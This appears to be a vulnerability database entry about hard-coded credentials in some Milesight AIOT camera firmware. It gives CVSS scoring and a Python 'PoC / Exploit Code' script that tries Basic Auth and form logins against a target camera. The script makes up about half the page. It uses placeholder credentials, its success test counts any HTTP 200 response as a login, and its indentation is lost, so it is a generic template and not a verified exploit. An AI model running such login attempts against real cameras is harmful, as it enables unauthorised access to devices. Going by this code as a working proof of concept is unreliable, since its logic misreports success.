Specific firmware versions of Milesight AIOT camera firmware contain hard-coded credentials.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Milesight AIOT Camera Firmware (Specific versions)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Exploit Title: Milesight AIOT Camera Hard-coded Credentials PoC
# Description: This script demonstrates how to authenticate using hard-coded credentials if known.
import requests
target_url = "http://<TARGET_IP>"
hardcoded_user = "admin" # Replace with actual hardcoded username if known
hardcoded_pass = "hardcoded_secret" # Replace with actual hardcoded password if known
def exploit():
print(f"[+] Attempting to login to {target_url} using hard-coded credentials...")
# Example using basic auth or form based login
session = requests.Session()
# Attempt 1: HTTP Basic Auth
response = session.get(target_url, auth=(hardcoded_user, hardcoded_pass), timeout=5)
if response.status_code == 200:
print("[+] Success! Logged in via Basic Auth.")
print(f"[+] Response: {response.text[:100]}...")
else:
# Attempt 2: Form Login (common in cameras)
login_payload = {
"username": hardcoded_user,
"password": hardcoded_pass
}
login_url = f"{target_url}/login"
resp = session.post(login_url, data=login_payload, timeout=5)
if "dashboard" in resp.text.lower() or resp.status_code == 200:
print("[+] Success! Logged in via Form Login.")
else:
print("[-] Failed to login. Credentials might be incorrect or logic differs.")
if __name__ == "__main__":
exploit()